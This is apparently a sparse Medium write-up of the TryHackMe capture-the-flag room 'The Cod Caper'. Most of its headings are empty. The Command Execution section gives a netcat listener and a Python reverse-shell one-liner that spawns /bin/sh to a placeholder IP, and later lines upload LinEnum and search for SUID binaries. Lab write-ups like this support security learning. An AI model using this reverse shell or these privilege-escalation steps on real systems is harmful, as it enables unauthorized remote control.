Tryhackme:The Cod Caper

Intro:

Host Enumeration:

Web Enumeration:

Useful flags:

Web Exploitation:

Command Execution:

nc -nvlp 80
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRES",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

LinEnum:

scp LinEnum.sh pingu@cod:/tmp
chmod +x LinEnum.sh
/LinEnum.sh
find / -perm -u=s -type f 2>/dev/null

pwndbg:

Binary-Exploitaion: Manually:

Binary Exploitation: The pwntools way:

Finishing the job:

Thankyou:

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store